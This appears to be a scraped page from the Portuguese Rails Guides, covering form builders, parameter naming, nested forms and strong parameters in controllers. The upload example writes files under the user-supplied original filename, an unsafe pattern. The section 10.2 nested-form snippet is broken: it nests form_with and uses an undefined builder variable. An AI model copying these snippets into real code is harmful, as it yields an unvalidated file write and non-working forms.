O objeto em params é uma instância de ActionDispatch::Http::UploadedFile. O trecho de código a seguir salva o arquivo enviado em #{Rails.root}/public/uploads contendo o mesmo nome do arquivo original.

def upload
uploaded_file = params[:picture]
File.open(Rails.root.join('public', 'uploads', uploaded_file.original_filename), 'wb') do |file|
file.write(uploaded_file.read)
end
end

def upload uploaded_file = params[:picture] File.open(Rails.root.join('public', 'uploads', uploaded_file.original_filename), 'wb') do |file| file.write(uploaded_file.read) end end Copiar

Uma vez que o arquivo é enviado, há uma infinidade de tarefas em potencial, variando entre onde armazenar os arquivos (no Disco, Amazon S3, etc), associá-lo com models, redimensionar arquivos de imagem e gerar miniaturas, etc. O Active Storage é destinado a ajudar com essas tarefas.

7 Customizando os Construtores de Formulários

O objeto que é dado para o yield no form_with e fields_for é uma instância de ActionView::Helpers::FormBuilder. Construtores de Formulários encapsulam a noção de exibir os elementos do formulário para um único objeto. Enquanto você pode escrever helpers para seus formulários da forma usual, você também pode criar uma subclasse de ActionView::Helpers::FormBuilder e adicionar os helpers lá. Por exemplo,

<%= form_with model: @person do |form| %>
<%= text_field_with_label form, :first_name %>
<% end %>

<%= form_with model: @person do |form| %> <%= text_field_with_label form, :first_name %> <% end %> Copiar

pode ser substituído por

<%= form_with model: @person, builder: LabellingFormBuilder do |form| %>
<%= form.text_field :first_name %>
<% end %>

<%= form_with model: @person, builder: LabellingFormBuilder do |form| %> <%= form.text_field :first_name %> <% end %> Copiar

Por meio da definição de uma classe LabellingFormBuilder parecida com a que segue:

class LabellingFormBuilder < ActionView::Helpers::FormBuilder
def text_field(attribute, options={})
label(attribute) + super
end
end

class LabellingFormBuilder < ActionView::Helpers::FormBuilder def text_field(attribute, options={}) label(attribute) + super end end Copiar

Se você reutilizar isso frequentemente, você pode definir um helper labeled_form_with que automaticamente aplica a opção builder: LabellingFormBuilder:

def labeled_form_with(model: nil, scope: nil, url: nil, format: nil, **options, &block)
options.merge! builder: LabellingFormBuilder
form_with model: model, scope: scope, url: url, format: format, **options, &block
end

def labeled_form_with(model: nil, scope: nil, url: nil, format: nil, **options, &block) options.merge! builder: LabellingFormBuilder form_with model: model, scope: scope, url: url, format: format, **options, &block end Copiar

O construtor de formulários utilizado também determina o que acontece quando você escreve:

<%= render partial: f %>

<%= render partial: f %> Copiar

Se f for uma instância de ActionView::Helpers::FormBuilder, então isso vai renderizar a partial form, passando o objeto da partial para o construtor de formulários. Se o construtor de formulário for da classe LabellingFormBuilder então a partial labelling_form é que seria renderizada.

8 Entendendo Convenções de Nomeação de Parâmetros

Valores de formulários podem ficar no topo do hash params ou aninhados em outro hash. Por exemplo, numa ação create padrão para um model Person, params[:person] normalmente seria um hash de todos os atributos necessários para criar uma pessoa. O hash params também pode conter arrays, arrays de hashes, e por aí vai.

Fundamentalmente formulários HTML não tem conhecimento de nenhum tipo de dado estruturado, tudo que eles geram são pares de nomes e valores, onde os pares são strings simples. Os arrays e hashes que você vê na sua aplicação são o resultado de algumas convenções de nomeação que o Rails utiliza.

8.1 Estruturas Básicas

As duas estruturas básicas são arrays e hashes. Hashes copiam a sintaxe utilizada para acessar o valor em params. Por exemplo, se um formulário contém:

<input id="person_name" name="person[name]" type="text" value="Henry"/>

<input id="person_name" name="person[name]" type="text" value="Henry"/> Copiar

o hash params conterá

{'person' => {'name' => 'Henry'}}

{'person' => {'name' => 'Henry'}} Copiar

e params[:person][:name] buscará o valor enviado dentro do controller.

Hashes podem ser aninhados em quantos níveis for necessário, por exemplo:

<input id="person_address_city" name="person[address][city]" type="text" value="New York"/>

<input id="person_address_city" name="person[address][city]" type="text" value="New York"/> Copiar

resultará no hash params como

{'person' => {'address' => {'city' => 'New York'}}}

{'person' => {'address' => {'city' => 'New York'}}} Copiar

Normalmente o Rails ignora nomes de parâmetros duplicados. Se o parâmetro name termina em um conjunto vazio de colchetes [] então eles serão acumulados em um array. Se você queria que os usuários pudessem informar vários números de telefone, você poderia colocar isto no formulário:

<input name="person[phone_number][]" type="text"/>
<input name="person[phone_number][]" type="text"/>
<input name="person[phone_number][]" type="text"/>

<input name="person[phone_number][]" type="text"/> <input name="person[phone_number][]" type="text"/> <input name="person[phone_number][]" type="text"/> Copiar

Isto resultará em params[:person][:phone_number] como um array contendo os números de telefone informados.

8.2 Combinando os Conceitos

Podemos combinar estes dois conceitos. Um elemento de um hash pode ser um array como no exemplo anterior, ou você pode ter um array de hashes. Por exemplo, um formulário pode permitir a criação de um número arbitrário de addresses ao repetir o fragmento de formulário seguinte

<input name="person[addresses][][line1]" type="text"/>
<input name="person[addresses][][line2]" type="text"/>
<input name="person[addresses][][city]" type="text"/>
<input name="person[addresses][][line1]" type="text"/>
<input name="person[addresses][][line2]" type="text"/>
<input name="person[addresses][][city]" type="text"/>

<input name="person[addresses][][line1]" type="text"/> <input name="person[addresses][][line2]" type="text"/> <input name="person[addresses][][city]" type="text"/> <input name="person[addresses][][line1]" type="text"/> <input name="person[addresses][][line2]" type="text"/> <input name="person[addresses][][city]" type="text"/> Copiar

Isto resultará em params[:person][:addresses] como um array de hashes com as chaves line1, line2, e city.

Porém, há uma restrição. Enquanto os hashes podem ser aninhados de forma arbitrária, só é permitido um nível de "arrayness". Arrays normalmente podem ser trocados por hashes; por exemplo, ao invés de usar um array de model objects, é possível usar um hash de model objects distinguidos pelo seu id, um índice do array, ou algum outro parâmetro.

Parâmetros de array não funcionam bem com o helper check_box. De acordo com a especificação HTML checkboxes desmarcadas não enviam nenhum valor. Porém pode ser conveniente fazer com que uma checkbox sempre envie um valor. O helper check_box simula isto ao criar um input auxiliar com o mesmo nome. Se a checkbox estiver desmarcada apenas o input escondido será enviado e se estiver marcada então os dois serão enviados mas o valor da checkbox recebe uma prioridade maior.

8.3 Utilizando o auxiliar fields_for Helper

Digamos que queremos renderizar um formulário com um conjunto de campos para cada endereço de uma pessoa. O auxiliar fields_for e seu argumento: index podem ajudar com isso: Você pode querer renderizar um formulário com um conjunto de campos de edição pra cada address de uma person. Por exemplo:

<%= form_with model: @person do |person_form| %>
<%= person_form.text_field :name %>
<% @person.addresses.each do |address| %>
<%= person_form.fields_for address, index: address.id do |address_form| %>
<%= address_form.text_field :city %>
<% end %>
<% end %>
<% end %>

<%= form_with model: @person do |person_form| %> <%= person_form.text_field :name %> <% @person.addresses.each do |address| %> <%= person_form.fields_for address, index: address.id do |address_form| %> <%= address_form.text_field :city %> <% end %> <% end %> <% end %> Copiar

Presumindo que a pessoa (person) tenha dois endereços (addresses), com ids 23 e 45 isto trará um resultado similar a este:

<form accept-charset="UTF-8" action="/people/1" method="post">
<input name="_method" type="hidden" value="patch" />
<input id="person_name" name="person[name]" type="text" />
<input id="person_address_23_city" name="person[address][23][city]" type="text" />
<input id="person_address_45_city" name="person[address][45][city]" type="text" />
</form>

<form accept-charset="UTF-8" action="/people/1" method="post"> <input name="_method" type="hidden" value="patch" /> <input id="person_name" name="person[name]" type="text" /> <input id="person_address_23_city" name="person[address][23][city]" type="text" /> <input id="person_address_45_city" name="person[address][45][city]" type="text" /> </form> Copiar

Isto resultará em um hash params parecido com

{'person' => {'name' => 'Bob', 'address' => {'23' => {'city' => 'Paris'}, '45' => {'city' => 'London'}}}}

{'person' => {'name' => 'Bob', 'address' => {'23' => {'city' => 'Paris'}, '45' => {'city' => 'London'}}}} Copiar

O Rails sabe que todos estes inputs devem ser parte do hash person porque você chamou fields_for no primeiro builder do formulário. Ao especificar uma opção :index você diz ao Rails que ao invés de nomear os inputs person[address][city] ele deve inserir aquele índice dentro de [] entre o address e a city. Isso geralmente é útil porque deixa mais fácil para saber qual registro Address deve ser modificado. Você pode passar números com algum outro significado, strings ou mesmo nil (que resultará em um array de parâmetros sendo criado).

Para criar aninhamentos mais complexos, você pode especificar a primeira parte do nome do input (person[address] no exemplo anterior) de forma explícita:

<%= fields_for 'person[address][primary]', address, index: address.id do |address_form| %>
<%= address_form.text_field :city %>
<% end %>

<%= fields_for 'person[address][primary]', address, index: address.id do |address_form| %> <%= address_form.text_field :city %> <% end %> Copiar

criará inputs como

<input id="person_address_primary_1_city" name="person[address][primary][1][city]" type="text" value="Bologna" />

<input id="person_address_primary_1_city" name="person[address][primary][1][city]" type="text" value="Bologna" /> Copiar

Como uma regra geral o nome final do input é uma concatenação do nome passado para fields_for/form_with, o valor do índice, e o nome do atributo. Você também pode passar uma opção :index diretamente para os helpers como text_field, mas normalmente é menos repetitivo especificar isto dentro do builder do formulário ao invés de especificar nos controles individuais de input.

Como um atalho você pode adicionar [] ao nome e omitir a opção :index. Isto é o mesmo que especificar index: address.id portanto

<%= fields_for 'person[address][primary][]', address do |address_form| %>
<%= address_form.text_field :city %>
<% end %>

<%= fields_for 'person[address][primary][]', address do |address_form| %> <%= address_form.text_field :city %> <% end %> Copiar

produz exatamente o mesmo resultado que o exemplo anterior.

9 Formulários para Recursos Externos

Os helpers de formulários do Rails também podem ser usados para construir formulários para enviar dados para recursos externos. Entretanto em alguns momentos pode ser necessário definir um authenticity_token para o recurso; isso pode ser feito passando um parâmetro authenticity_token: 'your_external_token' para as opções do form_with

<%= form_with url: 'http://farfar.away/form', authenticity_token: 'external_token' do %>
Form contents
<% end %>

<%= form_with url: 'http://farfar.away/form', authenticity_token: 'external_token' do %> Form contents <% end %> Copiar

Às vezes ao submeter dados para um recurso externo, como um gateway de pagamento, os campos que podem ser usado no formulário são limitados por uma API externa e pode ser indesejável gerar um authenticity_token. Para não enviar um token, simplesmente passe false para o parâmetro :authenticity_token:

<%= form_with url: 'http://farfar.away/form', authenticity_token: false do %>
Form contents
<% end %>

<%= form_with url: 'http://farfar.away/form', authenticity_token: false do %> Form contents <% end %> Copiar

10 Building Complex Forms

Many apps grow beyond simple forms editing a single object. For example, when creating a Person you might want to allow the user to (on the same form) create multiple address records (home, work, etc.). When later editing that person the user should be able to add, remove, or amend addresses as necessary.

10.1 Configuring the Model

Active Record provides model level support via the accepts_nested_attributes_for method:

class Person < ApplicationRecord
has_many :addresses, inverse_of: :person
accepts_nested_attributes_for :addresses
end

class Address < ApplicationRecord
belongs_to :person
end

class Person < ApplicationRecord has_many :addresses, inverse_of: :person accepts_nested_attributes_for :addresses end class Address < ApplicationRecord belongs_to :person end Copiar

This creates an addresses_attributes= method on Person that allows you to create, update, and (optionally) destroy addresses.

10.2 Nested Forms

The following form allows a user to create a Person and its associated addresses.

<%= form_with model: @person do |form| %>
Addresses:
<ul>
<%= form_with model: @person do |f| %>
<li>
<%= addresses_form.label :kind %>
<%= addresses_form.text_field :kind %>

<%= addresses_form.label :street %>
<%= addresses_form.text_field :street %>
...
</li>
<% end %>
</ul>
<% end %>

<%= form_with model: @person do |form| %> Addresses: <ul> <%= form_with model: @person do |f| %> <li> <%= addresses_form.label :kind %> <%= addresses_form.text_field :kind %> <%= addresses_form.label :street %> <%= addresses_form.text_field :street %> ... </li> <% end %> </ul> <% end %> Copiar

When an association accepts nested attributes fields_for renders its block once for every element of the association. In particular, if a person has no addresses it renders nothing. A common pattern is for the controller to build one or more empty children so that at least one set of fields is shown to the user. The example below would result in 2 sets of address fields being rendered on the new person form.

def new
@person = Person.new
2.times { @person.addresses.build }
end

def new @person = Person.new 2.times { @person.addresses.build } end Copiar

The fields_for yields a form builder. The parameters' name will be what accepts_nested_attributes_for expects. For example, when creating a user with 2 addresses, the submitted parameters would look like:

{
'person' => {
'name' => 'John Doe',
'addresses_attributes' => {
'0' => {
'kind' => 'Home',
'street' => '221b Baker Street'
},
'1' => {
'kind' => 'Office',
'street' => '31 Spooner Street'
}
}
}
}

{ 'person' => { 'name' => 'John Doe', 'addresses_attributes' => { '0' => { 'kind' => 'Home', 'street' => '221b Baker Street' }, '1' => { 'kind' => 'Office', 'street' => '31 Spooner Street' } } } } Copiar

The keys of the :addresses_attributes hash are unimportant, they need merely be different for each address.

If the associated object is already saved, fields_for autogenerates a hidden input with the id of the saved record. You can disable this by passing include_id: false to fields_for.

10.3 The Controller

As usual you need to declare the permitted parameters in the controller before you pass them to the model:

def create
@person = Person.new(person_params)
# ...
end

private
def person_params
params.require(:person).permit(:name, addresses_attributes: [:id, :kind, :street])
end

def create @person = Person.new(person_params) # ... end private def person_params params.require(:person).permit(:name, addresses_attributes: [:id, :kind, :street]) end Copiar

10.4 Removing Objects

You can allow users to delete associated objects by passing allow_destroy: true to accepts_nested_attributes_for

class Person < ApplicationRecord
has_many :addresses
accepts_nested_attributes_for :addresses, allow_destroy: true
end

class Person < ApplicationRecord has_many :addresses accepts_nested_attributes_for :addresses, allow_destroy: true end Copiar

If the hash of attributes for an object contains the key _destroy with a value that evaluates to true (e.g. 1, '1', true, or 'true') then the object will be destroyed. This form allows users to remove addresses:

<%= form_with model: @person do |form| %>
Addresses:
<ul>
<%= form.fields_for :addresses do |addresses_form| %>
<li>
<%= addresses_form.check_box :_destroy %>
<%= addresses_form.label :kind %>
<%= addresses_form.text_field :kind %>
...
</li>
<% end %>
</ul>
<% end %>

<%= form_with model: @person do |form| %> Addresses: <ul> <%= form.fields_for :addresses do |addresses_form| %> <li> <%= addresses_form.check_box :_destroy %> <%= addresses_form.label :kind %> <%= addresses_form.text_field :kind %> ... </li> <% end %> </ul> <% end %> Copiar

Don't forget to update the permitted params in your controller to also include the _destroy field:

def person_params
params.require(:person).
permit(:name, addresses_attributes: [:id, :kind, :street, :_destroy])
end

def person_params params.require(:person). permit(:name, addresses_attributes: [:id, :kind, :street, :_destroy]) end Copiar

10.5 Preventing Empty Records

It is often useful to ignore sets of fields that the user has not filled in. You can control this by passing a :reject_if proc to accepts_nested_attributes_for. This proc will be called with each hash of attributes submitted by the form. If the proc returns false then Active Record will not build an associated object for that hash. The example below only tries to build an address if the kind attribute is set.

class Person < ApplicationRecord
has_many :addresses
accepts_nested_attributes_for :addresses, reject_if: lambda {|attributes| attributes['kind'].blank?}
end

class Person < ApplicationRecord has_many :addresses accepts_nested_attributes_for :addresses, reject_if: lambda {|attributes| attributes['kind'].blank?} end Copiar

As a convenience you can instead pass the symbol :all_blank which will create a proc that will reject records where all the attributes are blank excluding any value for _destroy.

10.6 Adding Fields on the Fly

Rather than rendering multiple sets of fields ahead of time you may wish to add them only when a user clicks on an "Add new address" button. Rails does not provide any built-in support for this. When generating new sets of fields you must ensure the key of the associated array is unique - the current JavaScript date (milliseconds since the epoch) is a common choice.

11 Using Tag Helpers Without a Form Builder

In case you need to render form fields outside of the context of a form builder, Rails provides tag helpers for common form elements. For example, check_box_tag:

<%= check_box_tag "accept" %>

<%= check_box_tag "accept" %> Copiar

Output:

<input type="checkbox" name="accept" id="accept" value="1" />

<input type="checkbox" name="accept" id="accept" value="1" /> Copiar

Generally, these helpers have the same name as their form builder counterparts plus a _tag suffix. For a complete list, see the FormTagHelper API documentation.

12 Usando form_for e form_tag

Antes do form_with ser introduzido no Rails 5.1 sua funcionalidade costumava ser divida entre form_tag e form_for. Ambos estão agora depreciados (soft-deprecated). A documentação sobre seu uso pode ser encontrada na versão antiga deste guia.

Action Controller Overview — Ruby on...

1 O que um Controller faz?

ActionController é o C em MVC. Após o router determinar qual controller usar para a requisição, o controller será responsável por entender a requisição e retornar a resposta apropriada. Por sorte, ActionController faz a maior parte do trabalho fundamental pra você e usa convenções inteligentes pra fazer esse processo ser tão intuitivo quanto possível.

Para a maior parte das aplicações RESTful,o controller receberá a requisição (o que é "invisível" a você que está desenvolvendo), busca e/ou salva dados de um model, e usa a view para criar a saída HTML. Se seu controller precisa tratar requisições um pouco diferente, isso não é um problema, este é apenas o jeito mais comum de um controller trabalhar.

Um controller pode então ser pensado como um intermediário entre um model e uma view. Isso faz com que os dados do model fiquem disponíveis para a view para que possa ser mostrado ao usuário, e ele salva ou atualiza dados do usuário no model.

Para mais detalhes sobre processo de roteamento, veja Rails Routing from the Outside In

2 Convenção para Nomeclatura de Controllers

A convenção para nomenclatura de controllers no Rails favorece a pluralização da última palavra do nome do controller, embora não seja estritamente necessário (ex: ApplicationController). Por exemplo, ClientsController é recomendado ao invés de ClientController, SiteAdminsController é recomendado ao invés de SiteAdminController ou SitesAdminsController, e assim por diante.

Seguindo essa convenção será possível utilizar o gerador de rotas padrão (ex: resources, etc) sem precisar configurar cada :path ou :controller, e ainda manter consistente o uso dos auxiliares de rotas em todo o seu projeto. Veja Layouts e Guia de Renderização para mais detalhes.

A convenção para nomenclatura de controllers difere da convenção para nomenclatura de models, que devem ser nomeados na forma singular.

3 Métodos e Actions

Um controller é uma classe do Ruby que herda de ApplicationController e tem métodos como qualquer outra classe. Quando a sua aplicação recebe uma requisição, o roteamento irá determinar qual controller e qual action serão executados, e então o Rails irá criar uma instância desse controller e executará o método que possui o mesmo nome da action.

class ClientsController < ApplicationController
def new
end
end

class ClientsController < ApplicationController def new end end Copiar

Como exemplo, se um usuário acessar /clients/new na sua aplicação para adicionar um novo cliente, o Rails irá criar uma instância de ClientsController e irá chamar o método new dele. Repare que o método vazio do exemplo acima funcionaria normalmente porque o Rails por padrão vai renderizar a view new.html.erb a menos que a action indique outro caminho. Ao criar um novo Client o método new pode tornar uma variável de instância @client acessível na view.

def new
@client = Client.new
end

def new @client = Client.new end Copiar

O Guia de Layouts e Renderização explica essa etapa mais detalhadamente.

O ApplicationController herda de ActionController::Base, que define uma quantidade de métodos úteis. Este guia vai cobrir alguns destes métodos, mas se você tiver curiosidade para ver o que há neles, você pode ver todos eles na Documentação da API ou no próprio código fonte.

Apenas métodos públicos são executáveis como actions. É uma boa prática diminuir a visibilidade de métodos (utilizando private ou protected) que não foram designados para serem actions, como métodos auxiliares ou filtros.

4 Parâmetros

Você provavelmente vai querer acessar os dados enviados pelo usuário ou outros parâmetros nas actions do seu controller. Existem dois tipos de parâmetros possíveis numa aplicação web. O primeiro são os parâmetros que são enviados como parte da URL, chamados parâmetros de query string. A query string é tudo o que vem após o "?" na URL. O segundo tipo de parâmetro é geralmente referido como os dados de POST. Essa informação geralmente vem de um formulário HTML que foi preenchido pelo usuário. Se chamam dados de POST porque estes dados somente podem ser enviados como parte de uma requisição HTTP usando o verbo POST. O Rails não faz distinção sobre parâmetros de query string e parâmetros de POST, ambos são acessíveis por meio do hash params no seu controller:

class ClientsController < ApplicationController
# Essa action usa parâmetros de query string porque ela é
# executada através de uma requisição HTTP GET, mas isso
# não faz nenhuma diferença para a maneira como os parâmetros
# são acessados. A URL para essa action seria desse jeito
# para mostrar os clientes ativos: /clients?status=activated
def index
if params[:status] == "activated"
@clients = Client.activated
else
@clients = Client.inactivated
end
end

# Essa action usa parâmetros de POST. Eles provavelmente estão
# vindo de um formulário HTML que o usuário submeteu. A URL
# para essa requisição RESTful será "/clients", e os dados
# serão enviados como parte do corpo da requisição.
def create
@client = Client.new(params[:client])
if @client.save
redirect_to @client
else
# Essa linha sobrescreve o método padrão de renderização,
# que seria chamado para renderizar a *view* "*create*"
render "new"
end
end
end

class ClientsController < ApplicationController # Essa action usa parâmetros de query string porque ela é # executada através de uma requisição HTTP GET, mas isso # não faz nenhuma diferença para a maneira como os parâmetros # são acessados. A URL para essa action seria desse jeito # para mostrar os clientes ativos: /clients?status=activated def index if params[:status] == "activated" @clients = Client.activated else @clients = Client.inactivated end end # Essa action usa parâmetros de POST. Eles provavelmente estão # vindo de um formulário HTML que o usuário submeteu. A URL # para essa requisição RESTful será "/clients", e os dados # serão enviados como parte do corpo da requisição. def create @client = Client.new(params[:client]) if @client.save redirect_to @client else # Essa linha sobrescreve o método padrão de renderização, # que seria chamado para renderizar a *view* "*create*" render "new" end end end Copiar

4.1 Hash e Parâmetros de Array

O hash params não é limitado a um vetor unidimensional de chaves e valores. Ele pode conter arrays e hashes aninhados. Para enviar um array de valores, concatene um par de colchetes vazio "[]" ao nome da chave:

GET /clients?ids[]=1&ids[]=2&ids[]=3

GET /clients?ids[]=1&ids[]=2&ids[]=3 Copiar

A URL efetiva neste neste exemplo será codificada como "/clients?ids%5b%5d=1&ids%5b%5d=2&ids%5b%5d=3", visto que os caracteres "[" e "]" não são permitidos em URLs. Na maioria do tempo você não precisa se preocupar com isso porque o navegador irá codificar os dados para você, e o Rails vai decodificá-los automaticamente, porém se por acaso você se encontrar na situação de ter que enviar este tipo de requisição ao servidor manualmente você deve ter em mente essa questão.

O valor de params[:ids] será neste caso ["1", "2", "3"]. Note que os valores de parâmetros são sempre strings; o Rails não tenta adivinhar ou converter o tipo.

Valores como [nil] ou [nil, nil, ...] em params são substituídos por [] por motivos de segurança por padrão. Veja o Guia de Segurança para mais informações.

Para enviar um hash, você inclui o nome da chave dentro dos colchetes:

<form accept-charset="UTF-8" action="/clients" method="post">
<input type="text" name="client[name]" value="Acme" />
<input type="text" name="client[phone]" value="12345" />
<input type="text" name="client[address][postcode]" value="12345" />
<input type="text" name="client[address][city]" value="Carrot City" />
</form>

<form accept-charset="UTF-8" action="/clients" method="post"> <input type="text" name="client[name]" value="Acme" /> <input type="text" name="client[phone]" value="12345" /> <input type="text" name="client[address][postcode]" value="12345" /> <input type="text" name="client[address][city]" value="Carrot City" /> </form> Copiar

Quando esse formulário é enviado o valor de params[:client] será { "name" => "Acme", "phone" => "12345", "address" => { "postcode" => "12345", "city" => "Carrot City" } }. Repare o hash aninhado em params[:client][:address].

O objeto params atua como um hash, mas permite que você use symbols e strings indistintamente como chaves.

4.2 Parâmetros JSON

Se você está construindo uma aplicação web, você pode achar mais confortável receber parâmetros no formato JSON. Se o header "Content-Type" da sua requisição estiver definido como "application/json" o Rails vai automaticamente carregar os seus parâmetros no hash params, que você pode acessar como acessaria normalmente.

Então por exemplo, se você estiver enviando este conteúdo JSON:

{ "company": { "name": "acme", "address": "123 Carrot Street" } }

{ "company": { "name": "acme", "address": "123 Carrot Street" } } Copiar

O seu controller vai receber params[:company] no formato { "name" => "acme", "address" => "123 Carrot Street" }.

Além disso, se você tiver ativado config.wrap_parameters no seu inicializador ou chamado wrap_parameters no seu controller, você pode omitir o elemento raiz no seu parâmetro JSON. Neste caso, os parâmetros serão clonados e enpacotados sob uma chave baseada no nome do seu controller. Então a requisição JSON acima pode ser escrita como:

{ "name": "acme", "address": "123 Carrot Street" }

{ "name": "acme", "address": "123 Carrot Street" } Copiar

E, assumindo que você está enviando os dados para CompaniesController, eles serão então encapsulados na chave :company desta maneira:

{ name: "acme", address: "123 Carrot Street", company: { name: "acme", address: "123 Carrot Street" } }

{ name: "acme", address: "123 Carrot Street", company: { name: "acme", address: "123 Carrot Street" } } Copiar

Você pode customizar o nome da chave ou parâmetros específicos que você quer envelopar consultando a documentação da API

Suporte para interpretar parâmetros XML foi extraído para uma gem chamada actionpack-xml_parser.

4.3 Parâmetros de Rota

O hash params sempre irá conter as chaves :controller e :action, mas você deve usar os métodos controller_name e action_name para acessar estes valores. Quaisquer outros parâmetros definidos pela rota, como :id, também estarão disponíveis. Por exemplo, considere uma listagem de clientes onde a lista pode mostrar os clientes ativos e inativos. Nós podemos adicionar uma rota que captura o parâmetro :status numa URL "normalizada":

get '/clients/:status', to: 'clients#index', foo: 'bar'

get '/clients/:status', to: 'clients#index', foo: 'bar' Copiar

Neste caso, quando um usuário abrir a URL /clients/active, params[:status] estará definido como "active". Quando esta rota é usada, params[:foo] também será definido como "bar", como se tivesse sido enviado por meio da query string. O seu controller também irá receber params[:action] com o valor "index" e params[:controller] com o valor "clients".

4.4 default_url_options

Você pode determinar parâmetros padrão globais para a geração de URLs definindo um método chamado default_url_options no seu controller. Este método deve retornar um hash com os dados padrão desejados, cujas chaves devem ser símbolos:

class ApplicationController < ActionController::Base
def default_url_options
{ locale: I18n.locale }
end
end

class ApplicationController < ActionController::Base def default_url_options { locale: I18n.locale } end end Copiar

Estas opções serão usadas como um ponto de partida na geração de URLs, então é possível que elas sejam sobrescritas pelas opções passadas para chamadas a url_for.

Se você definir default_url_options em ApplicationController, como no exemplo acima, estes padrões irão ser usados para todas as gerações de URL. O método pode também ser definido num controller específico, neste caso afetando somente as URLs geradas a partir desse escopo.

Numa requisição o método não é de fato chamado para toda URL gerada. Por questões de performance o hash retornado é cacheado, e há no máximo uma invocação por requisição.

4.5 Parâmetros Fortes

Com parâmetros fortes (strong parameters), os parâmetros do Action Controller são proibidos de serem usados nas atribuições em massa no Active Model até que sejam deliberadamente permitidos. Isso significa que você tem que tomar uma decisão consciente sobre quais atributos podem ser permitidos para um update em massa. Esta é uma prática mais segura para ajudar a prevenir que acidentalmente os usuários atualizem atributos sensíveis do model.

Além disso, os parâmetros podem ser marcados como obrigatórios e irão seguir por um fluxo de erro e tratamento predefinido que irá resultar num código 400 Bad Request sendo retornado caso todos os parâmetros obrigatórios não forem informados.

class PeopleController < ActionController::Base
# Isso vai lançar uma exceção do tipo ActiveModel::ForbiddenAttributesError
# porque está usando atribuição em massa sem passar pela etapa de permitir
# explicitamente os parâmetros.
def create
Person.create(params[:person])
end

# Isso irá passar contanto que exista uma chave de *person* nos parâmetros,
# caso contrário o código irá lançar uma exceção do tipo
# ActionController::ParameterMissing, que será capturada pelo
# ActionController::Base e transformada num erro 400 Bad Request.
def update
person = current_account.people.find(params[:id])
person.update!(person_params)
redirect_to person
end

private
# Usar um método privado para encapsular os parâmetros permissíveis
# é um bom padrão visto que que você poderá reusar a mesma lista
# para as actions create e update. Você também pode especificar
# este método com a checagem de atributos permitidos de acordo com
# cada usuário.
def person_params
params.require(:person).permit(:name, :age)
end
end

class PeopleController < ActionController::Base # Isso vai lançar uma exceção do tipo ActiveModel::ForbiddenAttributesError # porque está usando atribuição em massa sem passar pela etapa de permitir # explicitamente os parâmetros. def create Person.create(params[:person]) end # Isso irá passar contanto que exista uma chave de *person* nos parâmetros, # caso contrário o código irá lançar uma exceção do tipo # ActionController::ParameterMissing, que será capturada pelo # ActionController::Base e transformada num erro 400 Bad Request. def update person = current_account.people.find(params[:id]) person.update!(person_params) redirect_to person end private # Usar um método privado para encapsular os parâmetros permissíveis # é um bom padrão visto que que você poderá reusar a mesma lista # para as actions create e update. Você também pode especificar # este método com a checagem de atributos permitidos de acordo com # cada usuário. def person_params params.require(:person).permit(:name, :age) end end Copiar

4.5.1 Valores Escalares Permitidos

Chamando permit como:

params.permit(:id)

params.permit(:id) Copiar

permite a chave especificada (:id) para inclusão se ela aparecer em params e ela tiver um valor escalar permitido associado a ela. Caso contrário a chave será filtrada, então arrays, hashes, ou quaisquer outros objetos não poderão ser adicionados.

Os tipos escalares permitidos são String, Symbol, NilClass, Numeric, TrueClass, FalseClass, Date, Time, DateTime, StringIO, IO, ActionDispatch::Http::UploadedFile, e Rack::Test::UploadedFile.

Para declarar que o valor em params deve ser um array de valores escalares permitidos, mapeie a chave para um array vazio.

params.permit(id: [])

params.permit(id: []) Copiar

Às vezes não é possível ou conveniente declarar as chaves válidas de um parâmetro de hash ou sua estrutura interna. Apenas mapeie para um hash vazio:

params.permit(preferences: {})

params.permit(preferences: {}) Copiar

entretanto fique atento porque isso abre a porta para input arbitrário. Neste caso, permit garante que os valores na estrutura retornada são valores escalares permitidos e faz a filtragem de tudo o que houver além deles.

Para permitir um hash completo de parâmetros, o método permit! pode ser usado:

params.require(:log_entry).permit!

params.require(:log_entry).permit! Copiar

Este código marca o hash de parâmetros :log_entry e qualquer sub-hash dele como valores permitidos e não verifica por escalares permitidos, sendo qualquer coisa a partir dele aceita. Extremo cuidado deve ser considerado ao usar o método permit!, visto que ele irá permitir que todos os atuais e futuros atributos do model sejam preenchidos em massa.

4.5.2 Parâmetros Aninhados

Você também pode usar permit em parâmetros aninhados, da seguinte forma:

params.permit(:name, { emails: [] },
friends: [ :name,
{ family: [ :name ], hobbies: [] }])

params.permit(:name, { emails: [] }, friends: [ :name, { family: [ :name ], hobbies: [] }]) Copiar

Esta declaração permite o preenchimento dos atributos name, emails, e friends. É esperado que emails seja um array de valores permitidos escalares, e que friends seja um array de recursos com atributos específicos: deve possuir um atributo name (com quaisquer valores escalares permitidos), um atributo hobbies como um array de valores permitidos escalares, e um atributo family que é restrito a ter um name (com qualquer valor escalar permitido também).

4.5.3 Mais Exemplos

Você pode também querer usar os atributos permitidos na sua action new. Isso traz o problema que você não pode chamar require na chave raiz porque normalmente ela não existe no momento da chamada de new

# usando fetch você pode fornecer um valor padrão e visualizar
# a API de Parâmetros Fortes a partir dele.
params.fetch(:blog, {}).permit(:title, :author)

# usando fetch você pode fornecer um valor padrão e visualizar # a API de Parâmetros Fortes a partir dele. params.fetch(:blog, {}).permit(:title, :author) Copiar

O método da classe model accepts_nested_attributes_for te permite atualizar e destruir outros models associados. Isso é baseado nos parâmetros id e _destroy:

# permite :id e :_destroy
params.require(:author).permit(:name, books_attributes: [:title, :id, :_destroy])

# permite :id e :_destroy params.require(:author).permit(:name, books_attributes: [:title, :id, :_destroy]) Copiar

Hashes com chaves de valor do tipo inteiro são tratados de maneira diferente, e você pode declarar os atributos como se eles fossem atributos filhos imediatos. Você obtém estes tipos de parâmetros quando você usa accepts_nested_attributes_for combinado com uma associação has_many:

# Para permitir os seguintes dados:
# {"book" => {"title" => "Some Book",
#             "chapters_attributes" => { "1" => {"title" => "First Chapter"},
#                                        "2" => {"title" => "Second Chapter"}}}}
params.require(:book).permit(:title, chapters_attributes: [:title])

# Para permitir os seguintes dados: # {"book" => {"title" => "Some Book", # "chapters_attributes" => { "1" => {"title" => "First Chapter"}, # "2" => {"title" => "Second Chapter"}}}} params.require(:book).permit(:title, chapters_attributes: [:title]) Copiar

Imagine um cenário onde você tem parâmetros representando um nome de produto e um hash de dados arbitrários associado a esse produto, e você queira permitir o preenchimento do atributo de nome do produto e também o hash de dados:

def product_params
params.require(:product).permit(:name, data: {})
end

def product_params params.require(:product).permit(:name, data: {}) end Copiar

4.5.4 Fora do Escopo de Parâmetros Fortes

